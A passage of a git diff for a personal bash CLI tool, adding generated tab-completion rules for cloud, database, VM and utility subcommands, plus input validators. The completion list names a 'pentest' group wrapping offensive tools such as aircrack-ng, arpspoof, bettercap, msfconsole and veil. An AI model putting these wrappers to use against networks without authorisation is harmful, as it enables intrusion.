COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-images list-repositories")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video youtube\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--audio-only --help --playlist -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest ngrok\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'view-markdown\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic start\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'epoch-to-date\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'date-to-epoch\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'random-float\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --max --min --precision -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'record-shell\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help --no-conversion --speed -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui dev-help\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h stack-overflow wiki")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'-r\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "ap-south-2 ap-south-1 eu-south-1 eu-south-2 me-central-1 ca-central-1 eu-central-1 eu-central-2 us-west-1 us-west-2 af-south-1 eu-north-1 eu-west-3 eu-west-2 eu-west-1 ap-northeast-3 ap-northeast-2 me-south-1 ap-northeast-1 sa-east-1 ap-east-1 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 us-east-1 us-east-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install java\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(awk \'/\[profile*/ { print substr($2, 1, length($2)-1);}\' ~/.aws/config)")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic stop\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic init\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp location\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'-l\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "africa-south1 asia-east1 asia-east2 asia-northeast1 asia-northeast2 asia-northeast3 asia-south1 asia-south2 asia-southeast1 asia-southeast2 australia-southeast1 australia-southeast2 europe-central2 europe-north1 europe-north2 europe-southwest1 europe-west1 europe-west10 europe-west12 europe-west2 europe-west3 europe-west4 europe-west6 europe-west8 europe-west9 me-central1 me-central2 me-west1 northamerica-northeast1 northamerica-northeast2 northamerica-south1 southamerica-east1 southamerica-west1 us-central1 us-east1 us-east4 us-east5 us-south1 us-west1 us-west2 us-west3 us-west4")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest nmap\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest veil\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*\'-p\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\')")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db bigquery\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db postgres\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--database --dump --dump-to-dbml --help --persistent --persistent-dir-prefix --port --schema --tui --wipe-persistent-data -h -s")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp project\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(gcloud projects list | awk \'NR > 1 {print $1}\') --help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws profile\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "$(cat ~/.aws/config | awk \'/\[profile*/ { print substr($2, 1, length($2)-1); }\') --help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'--file\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui ai elia\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'--type\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "line bar")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui sandbox\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h desed jqp play regect")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws console\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region --service -h -p -r -s")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data db\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui network\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h api-client bluetooth-manager carbonyl elinks full-browser http-load-generator http-request-client http-request-client-2 lynx mitm-proxy network-manager ping proxy proxymock w3m wireguard-config")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui docker\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h docker docker-layer-analyzer kubernetes")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws region\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h af-south-1 ap-east-1 ap-northeast-1 ap-northeast-2 ap-northeast-3 ap-south-1 ap-south-2 ap-southeast-1 ap-southeast-2 ap-southeast-3 ap-southeast-4 ca-central-1 eu-central-1 eu-central-2 eu-north-1 eu-south-1 eu-south-2 eu-west-1 eu-west-2 eu-west-3 me-central-1 me-south-1 sa-east-1 us-east-1 us-east-2 us-west-1 us-west-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'random-int\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --max --min -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm windows\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --help --persistent --persistent-dir-prefix --ram-size --share-directory --version --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp vertex\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h deploy-model list-endpoints predict tail-endpoint-logs")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws login\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --profile --region -h -p -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp login\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --location --project -h -l -p")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws shell\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws logs\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-log-groups query-log-groups tail-log-group")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'document\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h convert decrypt-pdf merge-pdf")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db mysql\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--database --dump --dump-to-dbml --help --persistent --persistent-dir-prefix --port --tui --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm linux\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --dist --help --image-url --no-gui --persistent --persistent-dir-prefix --ram-size --rdp-password --rdp-user --share-directory --use-rdp --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'play-mp3\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui misc\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ascii-theater calendar dev-chat file-manager find-and-replace jellyfin linutil notes piano presentation screensaver servarr slack visualizations visualizations-2 weather youtube-music youtube-music-2")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui data\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h database-ide db explorer jupyter-notebook kafka")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ssm\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h create-parameter delete-parameter get-parameter list-parameters start-ngrok-bastion-instance start-port-forwarding update-parameter")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws ec2\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h list-instances")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'-t\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "line bar")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*\'-f\')' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A file -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws rds\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h fetch-db-connection-details list-db-instances")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai chat\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --hf-file --hf-repo -f -h -r")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'elastic\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h init start stop")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ansible\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h decrypt-variable encrypt-string")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'install\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ansible docker java")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'network\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h archive-website generate-self-signed-certificate https-proxy mermaid-api mitm-proxy proxy-with-nginx tcp-proxy warc-2-zim")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'pentest\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h aircrack-ng arpspoof bettercap crunch ifconfig maltego msfconsole netdiscover ngrok nmap storm-breaker veil")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'backup\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -A directory -A file -W "$(_dtools_completions_filter "--backup-dest --help --move -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm mac\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--cpu-cores --disk-size --help --persistent --persistent-dir-prefix --ram-size --share-directory --version --wipe-persistent-data -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui ai\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h elia")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'update\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'clean\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h bleachbit build-caches docker logs package-caches")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'video\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h boost-audio duration rip-audio split-scenes youtube")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'plot\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--file --gui --help --loki --multiplot --stack-vertically --type -f -h -t")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ntfy\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h reference subscribe")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'java\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h analyze-with-sonar set-version")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'git\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h search-history")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'gcp\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h artifacts get-project-number location login project vertex")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'aws\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h console ec2 export-sso-creds generate-sso-profiles login logs profile rds region secretsmanager shell ssm toggle-auto-prompt")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'fzf\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--additional-xargs-arguments --help --pre-processing -h")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'tui\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h ai data dev-help development docker misc monitoring network network-monitoring sandbox")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'db\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h bigquery mysql postgres")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'ai\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h chat open-llama-api-docs open-llama-ui start-llama-server")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' \'vm\'*)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help -h linux mac windows")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' *)' + echo $' while read -r; do COMPREPLY+=("$REPLY"); done < <(compgen -W "$(_dtools_completions_filter "--help --version -h -v ai ansible aws backup clean date-to-epoch date-to-iso-8601 db document elastic epoch-to-date fzf gcp generate-password git install java network ntfy pentest play-mp3 plot random-float random-int real-time-plot record-shell start-simple-server tui update video view-markdown vm")" -- "$cur")' + echo $' ;;' + echo $'' + echo $' esac' + echo $'} &&' + echo $' complete -F _dtools_completions dtools' + echo $'' + echo $'# ex: filetype=sh' +} \ No newline at end of file diff --git a/src/lib/validations/aws_validations.sh b/src/lib/validations/aws_validations.sh new file mode 100644 index 0000000..643dce1 --- /dev/null +++ b/src/lib/validations/aws_validations.sh @@ -0,0 +1,21 @@ +validate_aws_profile_exists() { + (grep -q "^\[profile $1\]\$" "$HOME"/.aws/config) || red_bold "The AWS profile '$1' does not exist in ~/.aws/config" +} + +validate_relative_since_time_format() { + if [[ ! $1 =~ ^[[:digit:]]+[smhdw]$ ]]; then + red_bold "The relative time must be a valid integer, followed by only one of the following: 's', 'm', 'h', 'd', 'w'" + fi +} + +validate_aws_ssm_port_forwarding_number() { + if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then + red_bold "The port number provided is invalid: $1" + fi +} + +validate_aws_ssm_port_forwarding_host() { + if [[ ! $1 =~ ^[^,\$^\&\(\)\!\;\'\"\<\>\`{}\[\]\|#=]{3,}$ ]]; then + red_bold "The provided host is invalid: $1" + fi +} diff --git a/src/lib/validations/miscellaneous_validations.sh b/src/lib/validations/miscellaneous_validations.sh new file mode 100644 index 0000000..e03462a --- /dev/null +++ b/src/lib/validations/miscellaneous_validations.sh @@ -0,0 +1,5 @@ +validate_port_number() { + if [[ ! $1 =~ ^([1-9]|[1-9][0-9]{1,3}|[1-5][0-9]{4}|6[0-4][0-9]{3}|65[0-4][0-9]{2}|655[0-2][0-9]|6553[0-5])$ ]]; then + red_bold "The port number provided is invalid: $1" + fi +} diff --git a/src/lib/validations/validate_dir_exists.sh b/src/lib/validations/validate_dir_exists.sh new file mode 100644 index 0000000..763b12f --- /dev/null +++ b/src/lib/validations/validate_dir_exists.sh @@ -0,0 +1,6 @@ +## [@bashly-upgrade validations] +validate_dir_exists() { + if [[ ! -d "$1" ]]; then + echo "must be an existing directory" + fi +} diff --git a/src/lib/validations/validate_file_exists.sh b/src/lib/validations/validate_file_exists.sh new file mode 100644 index 0000000..bc2d98c --- /dev/null +++ b/src/lib/validations/validate_file_exists.sh @@ -0,0 +1,6 @@ +## [@bashly-upgrade validations] +validate_file_exists() { + if [[ ! -f "$1" ]]; then + echo "must be an existing file" + fi +} diff --git a/src/lib/validations/validate_integer.sh b/src/lib/validations/validate_integer.sh new file mode 100644 index 0000000..ca44b89 --- /dev/null +++ b/src/lib/validations/validate_integer.sh @@ -0,0 +1,6 @@ +## [@bashly-upgrade validations] +validate_integer() { + if ! [[ "$1" =~ ^[0-9]+$ ]]; then + echo "must be an integer" + fi +} diff --git a/src/lib/validations/validate_not_empty.sh b/src/lib/validations/validate_not_empty.sh new file mode 100644 index 0000000..faa2680 --- /dev/null +++ b/src/lib/validations/validate_not_empty.sh @@ -0,0 +1,6 @@ +## [@bashly-upgrade validations] +validate_not_empty() { + if [[ -z "$1" ]]; then + echo "must not be empty" + fi +}